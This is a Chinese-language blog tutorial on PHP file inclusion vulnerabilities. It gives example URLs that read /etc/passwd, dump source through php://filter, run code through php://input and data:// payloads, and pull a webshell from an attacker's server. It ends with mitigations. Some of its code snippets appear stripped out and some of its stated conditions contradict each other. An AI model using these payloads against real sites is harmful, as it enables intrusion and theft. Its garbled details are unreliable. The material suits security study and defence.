PHP渗透测试文件包含漏洞与利用的方法


本篇内容介绍了“PHP渗透测试文件包含漏洞与利用的方法”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!文件包含,在网站开发人员开发网站时,会将经常重复的代码写道一个单独的文件中,在别的文件中可以使用文件包含的函数来引用单独的文件。目前很多语言都支持文件包含,例如php(inchude,require,inchude_once,require_once)等,,也就是包含文件包含函数,其目的就是减少代码重复,提高代码优化效率,减少函数重复的使用。文件包含产生的漏洞,因为有这些文件包含的函数,当我们有一定权限(可读)的时候,我们就可以利用文件包含函数包含我们语言指定的文件,或者是包含本地服务器中的文件。简而言之,当php语言在引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过效验,或者没有经过过滤被绕过,从而引用别的文件,导致的恶意代码注入大体可以分为:本地文件包含和远程文件包含。远程文件包含:免费云主机域名开启条件,在php.ini配置文件中开启allow_url_fopen和allow_url_include,包含文件是第三方文件本地文件包含:就是本地服务器上的文件一旦远程包含可以开启,那么远程包含的漏洞比本地包含的漏洞更加的直接,危害也更加的大,可以随意的包含任意主机的任意文件。顾名思义,引用本地文件,利用inchude包含函数包含本地(服务器)文件。1.inchude,等函数通过动态变量引入2.用户能自动控制动态变量什么是动态变量?我们可以这么理解,例如一个网站 http://127.0.0.1/inchude.php?in=../../../etc/passwd,那么此时的?in=../../../etc/passwd是我们动态可以操作的变量?xx=/etc/passwd #直接访问passwd敏感文件
?xx=../../../etc/passwd?xx=php://filter/read=convert.base64-encode/resource=xx.php #这样能看到php文件的源码这里假设漏洞代码为假设这样正常的网站,我们上传一个图片马文件为tpm.jpg,此时我们需要访问图片时网址就会报错,此时url=http://127.0.0.1/index.php?shell=tpm.jpg.php,此时文件中并没有该文件,此时我们就可以在.jpg后添加%00进行截断,可能可以绕过。条件:php.inimagic_quotes_qpc=off并且PHP版本
漏洞代码演示与上面原理差不多,在1.txt中写下当知晓对方服务器的而前提下,我们可以使用超出服务器的解析特征,进行一个绕过。条件:Windows长度是‘/.’长于256,Linux长度是‘/.’长于4096作用:访问本地文件,在CTF中常用文件包含题型条件:allow_url_fopen=off/onallow_url_inchude=off/on实例:文件的绝对路径和文件名
http://127.0.0.1/include.php?file=file://C:phpStudyPHPTutorialWWWphpinfo.txt
文件的相对路径和文件名
http://127.0.0.1/include.php?file=./phpinfo.txt
网络路径和文件名
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt作用:php:// 访问输入输出流(i/o)这里介绍两种常用类型:php://filter 用于读取源码php://input 用于执行PHP代码条件:allow_url_fopen=off/onallow_url_inchude=off/on实例php://filter/read=convert.base64-encode/resource=[文件名] //base64读取文件源码http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.phpphp://input + POST执行php代码http://127.0.0.1/include.php?file=php://input[POST DATA部分] 如果具有一定的写入权限,POST 写入一句话木马条件 :allow_url_fopen=onallow_url_inchude=on作用:在PHP>=5.2.0起,可以使用data://数据封装器,传递数据相应格式的数据可以执行PHP代码实例#1.data://text/plain,http://127.0.0.1/include.php?file=data://text/plain,#2.data://text/plain;base64,http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2bphar://协议与zip://类似,同样可以访问zip格式压缩包内容http://127.0.0.1/include.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt利用条件 PHP > 5.3要想使用Phar类里的方法,必须将phar.readonly=on/off,利用 phar 协议可以拓展 php 反序列化漏洞攻击面服务器通过PHP的函数去包含任意文件时,由于要包含的这个文件过滤不严格,从而可以去包含一个恶意文件,从而达到攻击的目的条件:allow_url_include = OFFallow_url_fopen = OFF?xxx=http://攻击者的VPS/shell.txt
#会在网站目录生成名为 shell.php 的一句话木马shell.txt内容为:文件包含用到的函数include() //使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
inclue_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

require() //使用此函数,只要程序执行,立即调用此函数包含文件发生错误时,会输出错误信息并立即终止程序。
require_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。代码审计的时候全局搜索以上函数如果是基于图像上传的 ,要搜$_FILES 变量, 因为PHP处理上传文件的功能,基本都与$_FILES有关。查看目录结构,重点关注includes、modules等文件夹,查看index.php等文件是否动态调用过这些内容,变量是否可控。禁止远程文件包含 allow_url_include=off配置 open_basedir=指定目录,限制访问区域。过滤../等特殊符号修改Apache日志文件的存放地址开启魔术引号 magic_quotes_qpc=on尽量不要使用动态变量调用文件,直接写要包含的文件。“PHP渗透测试文件包含漏洞与利用的方法”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注百云主机网站,小编将为大家输出更多高质量的实用文章!

相关推荐: php和jsp的概念是什么

今天小编给大家分享一下php和jsp的概念是什么的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。 PHP的中文意思为“超文本预处理器”,是一种跨平…

免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。

(0)
打赏 微信扫一扫 微信扫一扫
上一篇 03/21 22:35
下一篇 03/21 22:51

相关推荐